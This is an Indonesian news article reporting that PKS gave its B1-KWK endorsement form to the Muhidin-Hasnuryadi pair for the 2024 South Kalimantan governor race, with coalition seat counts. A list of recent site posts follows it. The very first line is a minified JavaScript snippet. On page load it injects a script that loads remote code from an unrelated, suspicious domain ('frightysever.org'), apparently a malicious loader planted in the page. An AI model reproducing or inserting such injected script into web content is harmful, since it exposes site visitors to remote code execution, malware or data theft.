(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Muhidin-Hasnur Pegang B1-KWK dari PKS, Penuhi Syarat Kursi Pilgub Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Sepekan menjelang pendaftaran Pemilihan Kepala Daerah (Pilkada) 2024, Partai Keadilan Sejahtera (PKS) resmi memberikan dukungan kepada pasangan H Muhidin-Hasnuryadi Sulaiman untuk maju sebagai bakal calon Gubernur dan Wakil Gubernur Kalsel di Pilkada 2024.

Tak hanya sekedar rekomendasi, pasangan Bacagub-Bacawagub Kalsel 2024-2029 ini menerima dukungan PKS dalam bentuk model B1-KWK yang digunakan sebagai salah satu syarat mendaftar ke KPU.

Serah terima formulir B1-KWK bertanda tangan Presiden PKS dan bermaterai itu berlangsung saat acara Konsolidasi Nasional Calon Kepala Daerah dan Wakil Kepala Daerah PKS di Nusantara Hall, ICE BSD City, Tanggerang, Selasa (20/8/2024) siang.

Baca juga: MK Tetapkan Partai Tanpa Kursi Bisa Usung Calon Kepala Daerah, Ini Aturannya

Muhidin-Hasnur didampingi Sekjen DPP PKS Habib Aboe Bakar Al Habsyi dan Ketua DPW PKS Kalsel Jaf’ar, serta jajaran pengurus DPP PKS.

Tak hanya Pilkada Kalsel, pada waktu bersamaan DPP PKS juga menyerahkan dukungan kepada bakal calon kepala daerah Bupati, Wali Kota dan Gubernur di seluruh Indonesia. Jumlah keseluruhannya sebanyak 368 surat dukungan.

Sekadar diketahui, model formulir B1-KWK adalah surat pernyataan dukungan dari partai politik yang menyatakan dukungan resmi mereka kepada pasangan calon bupati dan wakil bupati, gubernur dan wakil gubernur, atau wali kota dan wakil wali kota.

Surat ini berisi daftar nama pendukung beserta identitasnya dan pernyataan dukungan terhadap calon kepala daerah dan wakil kepala daerah.

Baca juga: Call Center 112 dan Aplikasi BAJA Hadir untuk Warga Banjarbaru

Tanpa form B1-KWK dukungan partai dianggap belum sah. Form B1-KWK merupakan legitimasi dukungan resmi partai kepada bakal pasangan calon.

Bukan tidak mungkin nanti, bakal calon pasangan yang telah mendapatkan surat tugas, surat rekomendasi ataupun surat keputusan dari partai, ternyata tidak mendapatkan formulir model B1-KWK. Atau dengan kata lain, partai berubah sikap mendukung pasangan lainnya.

Presiden PKS Ahmad Syaikhu mengatakan, dalam pengusungan calon kepala daerah PKS menggunakan sistem bottom up.

Bakal calon kepala daerah bupati dan wali kota diminta langsung berkomunikasi dan berhubungan dengan DPD PKS. Sedangkan untuk calon gubernur dan wakil gubernur, berkomunikasi dengan DPW PKS.

Baca juga: Nestapa Batubara di Konsesi PT Merge Mining Industri

“Setelah itu baru dikirimkan surat dari DPW ke DPP, dan kemudian dibahas oleh tim profesional dan independen. Kemudian dilihat kredibilitas, kapasitas, dan elektabilitas yang dimiliki oleh calon yang akan diusung,” kata Ahmad Syaikhu.

“PKS dalam kesempatan kali ini akan memberikan model B Persetujuan Parpol KWK yang akan diberikan kepada bapak ibu sekalian, dokumen inilah yang menjadi persyaratan untuk diserahkan ke KPU,” sambungnya.

Dengan diterima dukungan dari PKS, syarat minimal 11 kursi dukungan partai politik untuk Muhidin-Hasnur maju Pilgub Kalsel 2024 telah terpenuhi.

Sebelumnya bakal pasangan calon Muhidin-Hansur telah mengantongi SK rekomendasi dari Partai Amanat Nasional (PAN) yang memiliki 6 kursi. Dan jika dijumlahkan dengan PKS sudah 12 kursi di DPRD Kalsel.

Kemudian ada Partai Demokrat yang memiliki 3 kursi hasil Pileg 2024 yang juga melabuhkan dukungan kepada Muhidin-Hasnur.

Baca juga: Golkar Tarik Dukungan, Arifin-Akbari Terima SK PDIP Maju Pilwali Banjarmasin

Dengan dukungan tiga parpol yakni PAN, Demokrat, dan PKS, pasangan Muhidin-Hasnur telah dapat mendaftar ke KPU Provinsi Kalsel sebagai bakal Cagub dan Cawagub di Pilgub Kalsel 2024.

Sementara itu, Hj Raudatul Jannah-Rozanie Himawan kandidat pasangan lain juga sudah memenuhi minimal 20 persen kursi untuk mendaftar ke KPU sebagai bakal Cagub dan Cawagub Kalsel. Pasangan ini bahkan berhasil mengumpulkan 30 kursi, dari sokongan Golkar 13 kursi, Nasdem 10 kursi, dan Gerindra 7 kursi.

Sementara itu, berdasarkan jadwal tahapan Pilkada 2024, pendaftaran bakal calon kepala daerah akan mulai dibuka pada tanggal 27-29 Agustus 2024. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

15 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.